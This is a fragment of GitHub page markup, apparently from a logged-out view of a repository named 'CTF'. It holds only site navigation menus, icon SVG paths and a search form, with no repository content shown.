<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="105910326" data-scoped-search-url="/vngkv123/CTF/search" data-owner-scoped-search-url="/users/vngkv123/search" data-unscoped-search-url="/search" data-turbo="false" action="/vngkv123/CTF/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="HfXnprKMsqOd/iTASkro6+SDJuhggqoOheG7n5BrT25fxwOhg1X4UBjE0yDFFkruYLm0xmbuaU7ocu87NJLdeA==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
